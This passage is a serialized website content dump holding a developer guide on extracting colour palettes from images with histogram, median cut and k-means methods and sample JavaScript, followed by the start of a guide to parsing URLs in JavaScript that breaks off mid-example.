.sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}",{"title":141,"searchDepth":337,"depth":337,"links":99854},[99855,99856,99861,99866,99870,99874,99875],{"id":99115,"depth":337,"text":99116},{"id":99171,"depth":337,"text":99172,"children":99857},[99858,99859,99860],{"id":99175,"depth":343,"text":99176},{"id":64222,"depth":343,"text":61655},{"id":99303,"depth":343,"text":99304},{"id":99365,"depth":337,"text":99366,"children":99862},[99863,99864,99865],{"id":99369,"depth":343,"text":99176},{"id":99421,"depth":343,"text":61655},{"id":99456,"depth":343,"text":99457},{"id":99513,"depth":337,"text":99514,"children":99867},[99868,99869],{"id":1609,"depth":343,"text":9860},{"id":8261,"depth":343,"text":9840},{"id":10392,"depth":337,"text":10393,"children":99871},[99872,99873],{"id":99702,"depth":343,"text":99703},{"id":99766,"depth":343,"text":99767},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Compare Unix epoch time and ISO 8601 date formats. Learn when to use timestamps vs ISO strings in APIs, databases, and applications.",{"immutable":363},"\u002Fguides\u002Fepoch-time-vs-iso-8601",{"title":99110,"description":99876},"guides\u002Fepoch-time-vs-iso-8601","joUUKxhDxCTrGWLy9uE_HQ8F7CwsMZHSJoB9xaAEl0M",{"id":99883,"title":99884,"body":99885,"date":2070,"description":100876,"extension":361,"meta":100877,"navigation":363,"path":100878,"readingTime":1717,"seo":100879,"stem":100880,"__hash__":100881},"guides\u002Fguides\u002Fextracting-colors-from-images.md","Extracting Colors from Images",{"type":8,"value":99886,"toc":100853},[99887,99891,99894,99897,99901,99905,99908,99912,99915,99921,99924,99928,99931,99935,99990,99994,99998,100001,100012,100016,100019,100023,100026,100037,100041,100044,100100,100103,100107,100111,100646,100656,100660,100730,100734,100804,100806,100826,100828,100834,100836,100850],[11,99888,99890],{"id":99889},"why-extract-colors-from-images","Why Extract Colors from Images?",[16,99892,99893],{},"Every photograph, illustration, and screenshot contains a hidden palette. Extracting dominant colors lets you build designs that feel visually connected to their imagery — product pages that match hero photos, dashboards themed around user avatars, or brand systems derived from a mood board.",[16,99895,99896],{},"Manual color picking with an eyedropper is slow and subjective. Algorithmic extraction gives you consistent, repeatable palettes in seconds.",[11,99898,99900],{"id":99899},"how-color-extraction-works","How Color Extraction Works",[33,99902,99904],{"id":99903},"simple-histogram-method","Simple histogram method",[16,99906,99907],{},"The most basic approach counts every pixel and ranks colors by frequency. The problem: images contain millions of pixels, and raw frequency rewards large uniform areas (backgrounds, skies) over the visually significant colors you care about.",[33,99909,99911],{"id":99910},"median-cut-algorithm","Median cut algorithm",[16,99913,99914],{},"Median cut divides the color space into boxes, then recursively splits the box with the largest color range until you have the desired number of boxes. The average color of each box becomes a palette entry.",[135,99916,99919],{"className":99917,"code":99918,"language":140},[138],"All pixels (one box)\n  → Split along the channel with the widest range\n  → Two boxes\n  → Split the box with the largest range again\n  → Continue until N boxes\n  → One representative color per box\n",[143,99920,99918],{"__ignoreMap":141},[16,99922,99923],{},"Median cut produces balanced palettes because it prioritizes color diversity over pixel frequency. A small but visually important red accent gets represented alongside the large blue sky.",[33,99925,99927],{"id":99926},"k-means-clustering","K-means clustering",[16,99929,99930],{},"K-means groups pixels into K clusters by minimizing the distance between each pixel and its cluster center. It is more accurate than median cut but computationally heavier — fine for tooling, impractical for real-time use.",[33,99932,99934],{"id":99933},"which-method-to-use","Which method to use?",[193,99936,99937,99950],{},[196,99938,99939],{},[199,99940,99941,99943,99945,99948],{},[202,99942,7441],{},[202,99944,819],{},[202,99946,99947],{},"Quality",[202,99949,489],{},[211,99951,99952,99964,99977],{},[199,99953,99954,99957,99959,99962],{},[216,99955,99956],{},"Histogram",[216,99958,50094],{},[216,99960,99961],{},"Low — biased by area",[216,99963,51411],{},[199,99965,99966,99969,99971,99974],{},[216,99967,99968],{},"Median cut",[216,99970,7639],{},[216,99972,99973],{},"Good — balanced",[216,99975,99976],{},"Most production use",[199,99978,99979,99982,99984,99987],{},[216,99980,99981],{},"K-means",[216,99983,85203],{},[216,99985,99986],{},"Best — perceptual",[216,99988,99989],{},"Precision palette generation",[11,99991,99993],{"id":99992},"practical-extraction-workflow","Practical Extraction Workflow",[33,99995,99997],{"id":99996},"step-1-choose-the-right-image","Step 1: Choose the right image",[16,99999,100000],{},"Extraction works best on images with clear color subjects. Avoid:",[41,100002,100003,100006,100009],{},[44,100004,100005],{},"Overexposed photos (washed-out palette)",[44,100007,100008],{},"Images with heavy filters (distorted color distribution)",[44,100010,100011],{},"Low-resolution sources (not enough pixel diversity)",[33,100013,100015],{"id":100014},"step-2-extract-58-dominant-colors","Step 2: Extract 5–8 dominant colors",[16,100017,100018],{},"Five to eight colors give you enough variety for a full interface palette — primary, secondary, accent, background, and neutral shades. Fewer than five feels limiting; more than eight becomes hard to distinguish.",[33,100020,100022],{"id":100021},"step-3-clean-the-palette","Step 3: Clean the palette",[16,100024,100025],{},"Raw extraction includes near-duplicates and visually irrelevant colors (a single black pixel from a shadow). Clean by:",[41,100027,100028,100031,100034],{},[44,100029,100030],{},"Merging colors within a small ΔE distance (\u003C 5)",[44,100032,100033],{},"Removing colors below a 2% frequency threshold",[44,100035,100036],{},"Replacing gray\u002Fneutral entries with intentional neutral scales",[33,100038,100040],{"id":100039},"step-4-assign-roles","Step 4: Assign roles",[16,100042,100043],{},"Map extracted colors to UI roles:",[193,100045,100046,100055],{},[196,100047,100048],{},[199,100049,100050,100052],{},[202,100051,2152],{},[202,100053,100054],{},"Selection criteria",[211,100056,100057,100064,100071,100078,100085,100093],{},[199,100058,100059,100061],{},[216,100060,30719],{},[216,100062,100063],{},"Most saturated, visually dominant",[199,100065,100066,100068],{},[216,100067,2176],{},[216,100069,100070],{},"Second most saturated, complements primary",[199,100072,100073,100075],{},[216,100074,2187],{},[216,100076,100077],{},"High contrast against primary — often warm if primary is cool",[199,100079,100080,100082],{},[216,100081,3432],{},[216,100083,100084],{},"Lightest extracted color or derived light neutral",[199,100086,100087,100090],{},[216,100088,100089],{},"Surface",[216,100091,100092],{},"Slightly darker than background",[199,100094,100095,100097],{},[216,100096,30784],{},[216,100098,100099],{},"Darkest extracted color, verified for contrast",[16,100101,100102],{},"Not every extracted color needs a role. Some are scratch candidates that inform the final choices without being used directly.",[11,100104,100106],{"id":100105},"extracting-colors-in-code","Extracting Colors in Code",[33,100108,100110],{"id":100109},"browser-based-with-canvas","Browser-based with canvas",[135,100112,100114],{"className":1607,"code":100113,"language":1609,"meta":141,"style":141},"function extractColors(imageElement, colorCount = 5) {\n  const canvas = document.createElement('canvas')\n  const ctx = canvas.getContext('2d')\n  canvas.width = 50   \u002F\u002F Downsample for speed\n  canvas.height = 50\n  ctx.drawImage(imageElement, 0, 0, 50, 50)\n\n  const imageData = ctx.getImageData(0, 0, 50, 50).data\n  const colors = {}\n\n  for (let i = 0; i \u003C imageData.length; i += 4) {\n    const r = imageData[i]\n    const g = imageData[i + 1]\n    const b = imageData[i + 2]\n    \u002F\u002F Quantize to reduce noise\n    const key = `${Math.round(r\u002F16)*16},${Math.round(g\u002F16)*16},${Math.round(b\u002F16)*16}`\n    colors[key] = (colors[key] || 0) + 1\n  }\n\n  return Object.entries(colors)\n    .sort((a, b) => b[1] - a[1])\n    .slice(0, colorCount)\n    .map(([key]) => {\n      const [r, g, b] = key.split(',').map(Number)\n      return { r, g, b, hex: '#' + [r, g, b].map(v => v.toString(16).padStart(2, '0')).join('') }\n    })\n}\n",[143,100115,100116,100139,100159,100181,100193,100203,100230,100234,100268,100280,100284,100315,100326,100344,100360,100365,100443,100463,100467,100471,100482,100518,100531,100547,100583,100638,100642],{"__ignoreMap":141},[1560,100117,100118,100120,100123,100125,100128,100130,100133,100135,100137],{"class":1562,"line":1563},[1560,100119,8648],{"class":1669},[1560,100121,100122],{"class":1566}," extractColors",[1560,100124,1688],{"class":1570},[1560,100126,100127],{"class":2219},"imageElement",[1560,100129,1459],{"class":1570},[1560,100131,100132],{"class":2219},"colorCount",[1560,100134,8186],{"class":1669},[1560,100136,28229],{"class":1576},[1560,100138,9345],{"class":1570},[1560,100140,100141,100143,100146,100148,100150,100152,100154,100157],{"class":1562,"line":337},[1560,100142,28057],{"class":1669},[1560,100144,100145],{"class":1576}," canvas",[1560,100147,8186],{"class":1669},[1560,100149,11555],{"class":1570},[1560,100151,11558],{"class":1566},[1560,100153,1688],{"class":1570},[1560,100155,100156],{"class":5634},"'canvas'",[1560,100158,8252],{"class":1570},[1560,100160,100161,100163,100166,100168,100171,100174,100176,100179],{"class":1562,"line":343},[1560,100162,28057],{"class":1669},[1560,100164,100165],{"class":1576}," ctx",[1560,100167,8186],{"class":1669},[1560,100169,100170],{"class":1570}," canvas.",[1560,100172,100173],{"class":1566},"getContext",[1560,100175,1688],{"class":1570},[1560,100177,100178],{"class":5634},"'2d'",[1560,100180,8252],{"class":1570},[1560,100182,100183,100186,100188,100190],{"class":1562,"line":365},[1560,100184,100185],{"class":1570},"  canvas.width ",[1560,100187,7297],{"class":1669},[1560,100189,18318],{"class":1576},[1560,100191,100192],{"class":1649},"   \u002F\u002F Downsample for speed\n",[1560,100194,100195,100198,100200],{"class":1562,"line":889},[1560,100196,100197],{"class":1570},"  canvas.height ",[1560,100199,7297],{"class":1669},[1560,100201,100202],{"class":1576}," 50\n",[1560,100204,100205,100208,100211,100214,100216,100218,100220,100222,100224,100226,100228],{"class":1562,"line":1710},[1560,100206,100207],{"class":1570},"  ctx.",[1560,100209,100210],{"class":1566},"drawImage",[1560,100212,100213],{"class":1570},"(imageElement, ",[1560,100215,5285],{"class":1576},[1560,100217,1459],{"class":1570},[1560,100219,5285],{"class":1576},[1560,100221,1459],{"class":1570},[1560,100223,18059],{"class":1576},[1560,100225,1459],{"class":1570},[1560,100227,18059],{"class":1576},[1560,100229,8252],{"class":1570},[1560,100231,100232],{"class":1562,"line":1717},[1560,100233,1702],{"emptyLinePlaceholder":363},[1560,100235,100236,100238,100241,100243,100246,100249,100251,100253,100255,100257,100259,100261,100263,100265],{"class":1562,"line":1747},[1560,100237,28057],{"class":1669},[1560,100239,100240],{"class":1576}," imageData",[1560,100242,8186],{"class":1669},[1560,100244,100245],{"class":1570}," ctx.",[1560,100247,100248],{"class":1566},"getImageData",[1560,100250,1688],{"class":1570},[1560,100252,5285],{"class":1576},[1560,100254,1459],{"class":1570},[1560,100256,5285],{"class":1576},[1560,100258,1459],{"class":1570},[1560,100260,18059],{"class":1576},[1560,100262,1459],{"class":1570},[1560,100264,18059],{"class":1576},[1560,100266,100267],{"class":1570},").data\n",[1560,100269,100270,100272,100275,100277],{"class":1562,"line":2507},[1560,100271,28057],{"class":1669},[1560,100273,100274],{"class":1576}," colors",[1560,100276,8186],{"class":1669},[1560,100278,100279],{"class":1570}," {}\n",[1560,100281,100282],{"class":1562,"line":2524},[1560,100283,1702],{"emptyLinePlaceholder":363},[1560,100285,100286,100288,100290,100292,100294,100296,100298,100300,100302,100305,100307,100309,100311,100313],{"class":1562,"line":2529},[1560,100287,82192],{"class":1669},[1560,100289,5181],{"class":1570},[1560,100291,41680],{"class":1669},[1560,100293,7950],{"class":1570},[1560,100295,7297],{"class":1669},[1560,100297,13541],{"class":1576},[1560,100299,82205],{"class":1570},[1560,100301,6431],{"class":1669},[1560,100303,100304],{"class":1570}," imageData.",[1560,100306,9418],{"class":1576},[1560,100308,82205],{"class":1570},[1560,100310,28386],{"class":1669},[1560,100312,13574],{"class":1576},[1560,100314,9345],{"class":1570},[1560,100316,100317,100319,100321,100323],{"class":1562,"line":2534},[1560,100318,9385],{"class":1669},[1560,100320,12313],{"class":1576},[1560,100322,8186],{"class":1669},[1560,100324,100325],{"class":1570}," imageData[i]\n",[1560,100327,100328,100330,100333,100335,100338,100340,100342],{"class":1562,"line":2542},[1560,100329,9385],{"class":1669},[1560,100331,100332],{"class":1576}," g",[1560,100334,8186],{"class":1669},[1560,100336,100337],{"class":1570}," imageData[i ",[1560,100339,9448],{"class":1669},[1560,100341,18868],{"class":1576},[1560,100343,37203],{"class":1570},[1560,100345,100346,100348,100350,100352,100354,100356,100358],{"class":1562,"line":2558},[1560,100347,9385],{"class":1669},[1560,100349,42366],{"class":1576},[1560,100351,8186],{"class":1669},[1560,100353,100337],{"class":1570},[1560,100355,9448],{"class":1669},[1560,100357,9426],{"class":1576},[1560,100359,37203],{"class":1570},[1560,100361,100362],{"class":1562,"line":2570},[1560,100363,100364],{"class":1649},"    \u002F\u002F Quantize to reduce noise\n",[1560,100366,100367,100369,100371,100373,100375,100377,100379,100381,100383,100385,100387,100389,100391,100393,100395,100398,100400,100402,100404,100406,100408,100410,100412,100414,100416,100418,100420,100422,100424,100426,100428,100430,100432,100434,100436,100438,100440],{"class":1562,"line":6638},[1560,100368,9385],{"class":1669},[1560,100370,90481],{"class":1576},[1560,100372,8186],{"class":1669},[1560,100374,34367],{"class":5634},[1560,100376,28990],{"class":1570},[1560,100378,468],{"class":5634},[1560,100380,87981],{"class":1566},[1560,100382,1688],{"class":5634},[1560,100384,23114],{"class":1570},[1560,100386,9423],{"class":1669},[1560,100388,10057],{"class":1576},[1560,100390,1525],{"class":5634},[1560,100392,8069],{"class":1669},[1560,100394,10057],{"class":1576},[1560,100396,100397],{"class":5634},"},${",[1560,100399,28990],{"class":1570},[1560,100401,468],{"class":5634},[1560,100403,87981],{"class":1566},[1560,100405,1688],{"class":5634},[1560,100407,22733],{"class":1570},[1560,100409,9423],{"class":1669},[1560,100411,10057],{"class":1576},[1560,100413,1525],{"class":5634},[1560,100415,8069],{"class":1669},[1560,100417,10057],{"class":1576},[1560,100419,100397],{"class":5634},[1560,100421,28990],{"class":1570},[1560,100423,468],{"class":5634},[1560,100425,87981],{"class":1566},[1560,100427,1688],{"class":5634},[1560,100429,28973],{"class":1570},[1560,100431,9423],{"class":1669},[1560,100433,10057],{"class":1576},[1560,100435,1525],{"class":5634},[1560,100437,8069],{"class":1669},[1560,100439,10057],{"class":1576},[1560,100441,100442],{"class":5634},"}`\n",[1560,100444,100445,100448,100450,100453,100455,100457,100459,100461],{"class":1562,"line":11615},[1560,100446,100447],{"class":1570},"    colors[key] ",[1560,100449,7297],{"class":1669},[1560,100451,100452],{"class":1570}," (colors[key] ",[1560,100454,82344],{"class":1669},[1560,100456,13541],{"class":1576},[1560,100458,1733],{"class":1570},[1560,100460,9448],{"class":1669},[1560,100462,28389],{"class":1576},[1560,100464,100465],{"class":1562,"line":11621},[1560,100466,4959],{"class":1570},[1560,100468,100469],{"class":1562,"line":11633},[1560,100470,1702],{"emptyLinePlaceholder":363},[1560,100472,100473,100475,100477,100479],{"class":1562,"line":11638},[1560,100474,9350],{"class":1669},[1560,100476,39075],{"class":1570},[1560,100478,11498],{"class":1566},[1560,100480,100481],{"class":1570},"(colors)\n",[1560,100483,100484,100486,100489,100491,100493,100495,100497,100499,100501,100504,100506,100508,100510,100513,100515],{"class":1562,"line":11672},[1560,100485,37982],{"class":1570},[1560,100487,100488],{"class":1566},"sort",[1560,100490,11495],{"class":1570},[1560,100492,98],{"class":2219},[1560,100494,1459],{"class":1570},[1560,100496,28973],{"class":2219},[1560,100498,1733],{"class":1570},[1560,100500,11503],{"class":1669},[1560,100502,100503],{"class":1570}," b[",[1560,100505,3585],{"class":1576},[1560,100507,13484],{"class":1570},[1560,100509,9412],{"class":1669},[1560,100511,100512],{"class":1570}," a[",[1560,100514,3585],{"class":1576},[1560,100516,100517],{"class":1570},"])\n",[1560,100519,100520,100522,100524,100526,100528],{"class":1562,"line":19435},[1560,100521,37982],{"class":1570},[1560,100523,38951],{"class":1566},[1560,100525,1688],{"class":1570},[1560,100527,5285],{"class":1576},[1560,100529,100530],{"class":1570},", colorCount)\n",[1560,100532,100533,100535,100537,100539,100541,100543,100545],{"class":1562,"line":19442},[1560,100534,37982],{"class":1570},[1560,100536,9371],{"class":1566},[1560,100538,39095],{"class":1570},[1560,100540,39098],{"class":2219},[1560,100542,39106],{"class":1570},[1560,100544,11503],{"class":1669},[1560,100546,1571],{"class":1570},[1560,100548,100549,100551,100553,100555,100557,100559,100561,100563,100565,100567,100569,100571,100573,100576,100578,100580],{"class":1562,"line":19475},[1560,100550,11535],{"class":1669},[1560,100552,39830],{"class":1570},[1560,100554,23114],{"class":1576},[1560,100556,1459],{"class":1570},[1560,100558,22733],{"class":1576},[1560,100560,1459],{"class":1570},[1560,100562,28973],{"class":1576},[1560,100564,13484],{"class":1570},[1560,100566,7297],{"class":1669},[1560,100568,90506],{"class":1570},[1560,100570,9356],{"class":1566},[1560,100572,1688],{"class":1570},[1560,100574,100575],{"class":5634},"','",[1560,100577,9368],{"class":1570},[1560,100579,9371],{"class":1566},[1560,100581,100582],{"class":1570},"(Number)\n",[1560,100584,100585,100587,100590,100593,100595,100597,100599,100601,100604,100606,100609,100611,100613,100615,100617,100619,100621,100623,100625,100627,100629,100631,100633,100635],{"class":1562,"line":19508},[1560,100586,28249],{"class":1669},[1560,100588,100589],{"class":1570}," { r, g, b, hex: ",[1560,100591,100592],{"class":5634},"'#'",[1560,100594,29002],{"class":1669},[1560,100596,39849],{"class":1570},[1560,100598,9371],{"class":1566},[1560,100600,1688],{"class":1570},[1560,100602,100603],{"class":2219},"v",[1560,100605,9378],{"class":1669},[1560,100607,100608],{"class":1570}," v.",[1560,100610,10052],{"class":1566},[1560,100612,1688],{"class":1570},[1560,100614,10057],{"class":1576},[1560,100616,9368],{"class":1570},[1560,100618,42222],{"class":1566},[1560,100620,1688],{"class":1570},[1560,100622,10099],{"class":1576},[1560,100624,1459],{"class":1570},[1560,100626,17543],{"class":5634},[1560,100628,42796],{"class":1570},[1560,100630,9459],{"class":1566},[1560,100632,1688],{"class":1570},[1560,100634,5635],{"class":5634},[1560,100636,100637],{"class":1570},") }\n",[1560,100639,100640],{"class":1562,"line":44196},[1560,100641,49521],{"class":1570},[1560,100643,100644],{"class":1562,"line":44203},[1560,100645,1585],{"class":1570},[16,100647,100648,100649,1531,100652,100655],{},"This simplified histogram approach works for quick extraction. For production quality, use a library like ",[143,100650,100651],{},"colorthief",[143,100653,100654],{},"quantize"," that implements median cut.",[33,100657,100659],{"id":100658},"nodejs-with-color-thief","Node.js with Color-Thief",[135,100661,100663],{"className":1607,"code":100662,"language":1609,"meta":141,"style":141},"import ColorThief from 'colorthief'\n\nconst ct = new ColorThief()\nconst palette = await ct.getPalette('.\u002Fphoto.jpg', 5)\n\u002F\u002F Returns array of [r, g, b] arrays\n",[143,100664,100665,100677,100681,100697,100725],{"__ignoreMap":141},[1560,100666,100667,100669,100672,100674],{"class":1562,"line":1563},[1560,100668,8162],{"class":1669},[1560,100670,100671],{"class":1570}," ColorThief ",[1560,100673,8168],{"class":1669},[1560,100675,100676],{"class":5634}," 'colorthief'\n",[1560,100678,100679],{"class":1562,"line":337},[1560,100680,1702],{"emptyLinePlaceholder":363},[1560,100682,100683,100685,100688,100690,100692,100695],{"class":1562,"line":343},[1560,100684,8180],{"class":1669},[1560,100686,100687],{"class":1576}," ct",[1560,100689,8186],{"class":1669},[1560,100691,11489],{"class":1669},[1560,100693,100694],{"class":1566}," ColorThief",[1560,100696,27830],{"class":1570},[1560,100698,100699,100701,100704,100706,100708,100711,100714,100716,100719,100721,100723],{"class":1562,"line":365},[1560,100700,8180],{"class":1669},[1560,100702,100703],{"class":1576}," palette",[1560,100705,8186],{"class":1669},[1560,100707,28065],{"class":1669},[1560,100709,100710],{"class":1570}," ct.",[1560,100712,100713],{"class":1566},"getPalette",[1560,100715,1688],{"class":1570},[1560,100717,100718],{"class":5634},"'.\u002Fphoto.jpg'",[1560,100720,1459],{"class":1570},[1560,100722,13431],{"class":1576},[1560,100724,8252],{"class":1570},[1560,100726,100727],{"class":1562,"line":889},[1560,100728,100729],{"class":1649},"\u002F\u002F Returns array of [r, g, b] arrays\n",[11,100731,100733],{"id":100732},"use-cases","Use Cases",[193,100735,100736,100747],{},[196,100737,100738],{},[199,100739,100740,100742,100745],{},[202,100741,31918],{},[202,100743,100744],{},"How many colors",[202,100746,2683],{},[211,100748,100749,100760,100771,100782,100793],{},[199,100750,100751,100754,100757],{},[216,100752,100753],{},"Product page matching hero image",[216,100755,100756],{},"3–4",[216,100758,100759],{},"Primary accent derived from product photo",[199,100761,100762,100765,100768],{},[216,100763,100764],{},"Dynamic avatar themes",[216,100766,100767],{},"2–3",[216,100769,100770],{},"Extract from profile picture",[199,100772,100773,100776,100779],{},[216,100774,100775],{},"Brand palette from mood board",[216,100777,100778],{},"5–8",[216,100780,100781],{},"Curate extracted colors, refine manually",[199,100783,100784,100787,100790],{},[216,100785,100786],{},"Data visualization palettes",[216,100788,100789],{},"6–10",[216,100791,100792],{},"Ensure perceptual uniformity between entries",[199,100794,100795,100798,100801],{},[216,100796,100797],{},"Accessibility-themed palettes",[216,100799,100800],{},"4–6",[216,100802,100803],{},"Verify contrast after extraction",[11,100805,1355],{"id":1354},[41,100807,100808,100811,100814,100817,100820,100823],{},[44,100809,100810],{},"Color extraction reveals the hidden palette inside any image",[44,100812,100813],{},"Median cut algorithm balances diversity and fidelity for most use cases",[44,100815,100816],{},"Extract 5–8 colors, then clean duplicates and low-frequency noise",[44,100818,100819],{},"Map extracted colors to UI roles rather than using them raw",[44,100821,100822],{},"Always verify WCAG contrast after extraction — dominant does not mean accessible",[44,100824,100825],{},"Browser canvas provides a quick extraction method; use dedicated libraries for quality palettes",[11,100827,286],{"id":285},[16,100829,100830,100831,100833],{},"Pick and refine colors visually with our free ",[98,100832,32108],{"href":32107},". Choose from any source, convert between formats, and copy production-ready color values instantly.",[11,100835,321],{"id":320},[41,100837,100838,100842,100846],{},[44,100839,100840],{},[98,100841,28689],{"href":29551},[44,100843,100844],{},[98,100845,31612],{"href":32151},[44,100847,100848],{},[98,100849,29512],{"href":29511},[2043,100851,100852],{},"html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":141,"searchDepth":337,"depth":337,"links":100854},[100855,100856,100862,100868,100872,100873,100874,100875],{"id":99889,"depth":337,"text":99890},{"id":99899,"depth":337,"text":99900,"children":100857},[100858,100859,100860,100861],{"id":99903,"depth":343,"text":99904},{"id":99910,"depth":343,"text":99911},{"id":99926,"depth":343,"text":99927},{"id":99933,"depth":343,"text":99934},{"id":99992,"depth":337,"text":99993,"children":100863},[100864,100865,100866,100867],{"id":99996,"depth":343,"text":99997},{"id":100014,"depth":343,"text":100015},{"id":100021,"depth":343,"text":100022},{"id":100039,"depth":343,"text":100040},{"id":100105,"depth":337,"text":100106,"children":100869},[100870,100871],{"id":100109,"depth":343,"text":100110},{"id":100658,"depth":343,"text":100659},{"id":100732,"depth":337,"text":100733},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Learn how to extract dominant colors and palettes from images — methods, algorithms, tools, and practical use cases for designers and developers.",{"immutable":363},"\u002Fguides\u002Fextracting-colors-from-images",{"title":99884,"description":100876},"guides\u002Fextracting-colors-from-images","-zk3MUQlSMIDm1TtFnBZPC_hcuEoG_ITF1rVKluMads",{"id":100883,"title":100884,"body":100885,"date":2070,"description":102170,"extension":361,"meta":102171,"navigation":363,"path":102172,"readingTime":1710,"seo":102173,"stem":102174,"__hash__":102175},"guides\u002Fguides\u002Fextracting-data-from-urls-javascript.md","Extracting Data from URLs in JavaScript: Practical Guide",{"type":8,"value":100886,"toc":102148},[100887,100891,100894,100897,100901,100907,101000,101003,101047,101051,101056,101168,101172,101229,101233,101287,101291,101381,101385,101391,101445,101448,101452,101646,101650,101707,101710,101714,101717,101779,101797,101840,101842,101846,101938,101942,101986,101990,102083,102085,102116,102118,102138,102140,102146],[11,100888,100890],{"id":100889},"why-parse-urls-in-javascript","Why Parse URLs in JavaScript?",[16,100892,100893],{},"Nearly every web application works with URLs — reading query parameters, navigating between routes, or constructing API endpoints. JavaScript provides powerful built-in APIs that make URL parsing straightforward, yet many developers still reach for string manipulation tricks that break on edge cases.",[16,100895,100896],{},"Using the right API prevents bugs with encoded characters, missing protocols, and unexpected URL structures.",[11,100898,100900],{"id":100899},"the-url-constructor","The URL Constructor",[16,100902,421,100903,100906],{},[143,100904,100905],{},"URL"," constructor is your primary tool for parsing URLs in JavaScript:",[135,100908,100910],{"className":1607,"code":100909,"language":1609,"meta":141,"style":141},"const url = new URL('https:\u002F\u002Fexample.com\u002Ftools\u002Furl-parser?format=json&page=2#results')\n\nurl.protocol    \u002F\u002F 'https:'\nurl.hostname    \u002F\u002F 'example.com'\nurl.port        \u002F\u002F '' (empty for default ports)\nurl.pathname    \u002F\u002F '\u002Ftools\u002Furl-parser'\nurl.search      \u002F\u002F '?format=json&page=2'\nurl.hash        \u002F\u002F '#results'\nurl.origin      \u002F\u002F 'https:\u002F\u002Fexample.com'\nurl.href        \u002F\u002F Full URL string\n",[143,100911,100912,100932,100936,100944,100952,100960,100968,100976,100984,100992],{"__ignoreMap":141},[1560,100913,100914,100916,100918,100920,100922,100925,100927,100930],{"class":1562,"line":1563},[1560,100915,8180],{"class":1669},[1560,100917,33819],{"class":1576},[1560,100919,8186],{"class":1669},[1560,100921,11489],{"class":1669},[1560,100923,100924],{"class":1566}," URL",[1560,100926,1688],{"class":1570},[1560,100928,100929],{"class":5634},"'https:\u002F\u002Fexample.com\u002Ftools\u002Furl-parser?format=json&page=2#results'",[1560,100931,8252],{"class":1570},[1560,100933,100934],{"class":1562,"line":337},[1560,100935,1702],{"emptyLinePlaceholder":363},[1560,100937,100938,100941],{"class":1562,"line":343},[1560,100939,100940],{"class":1570},"url.protocol    ",[1560,100942,100943],{"class":1649},"\u002F\u002F 'https:'\n",[1560,100945,100946,100949],{"class":1562,"line":365},[1560,100947,100948],{"class":1570},"url.hostname    ",[1560,100950,100951],{"class":1649},"\u002F\u002F 'example.com'\n",[1560,100953,100954,100957],{"class":1562,"line":889},[1560,100955,100956],{"class":1570},"url.port        ",[1560,100958,100959],{"class":1649},"\u002F\u002F '' (empty for default ports)\n",[1560,100961,100962,100965],{"class":1562,"line":1710},[1560,100963,100964],{"class":1570},"url.pathname    ",[1560,100966,100967],{"class":1649},"\u002F\u002F '\u002Ftools\u002Furl-parser'\n",[1560,100969,100970,100973],{"class":1562,"line":1717},[1560,100971,100972],{"class":1570},"url.search      ",[1560,100974,100975],{"class":1649},"\u002F\u002F '?format=json&page=2'\n",[1560,100977,100978,100981],{"class":1562,"line":1747},[1560,100979,100980],{"class":1570},"url.hash        ",[1560,100982,100983],{"class":1649},"\u002F\u002F '#results'\n",[1560,100985,100986,100989],{"class":1562,"line":2507},[1560,100987,100988],{"class":1570},"url.origin      ",[1560,100990,100991],{"class":1649},"\u002F\u002F 'https:\u002F\u002Fexample.com'\n",[1560,100993,100994,100997],{"class":1562,"line":2524},[1560,100995,100996],{"class":1570},"url.href        ",[1560,100998,100999],{"class":1649},"\u002F\u002F Full URL string\n",[16,101001,101002],{},"If the URL is relative, provide a base:",[135,101004,101006],{"className":1607,"code":101005,"language":1609,"meta":141,"style":141},"const url = new URL('\u002Fapi\u002Fusers?q=test', 'https:\u002F\u002Fexample.com')\nurl.hostname  \u002F\u002F 'example.com'\nurl.pathname  \u002F\u002F 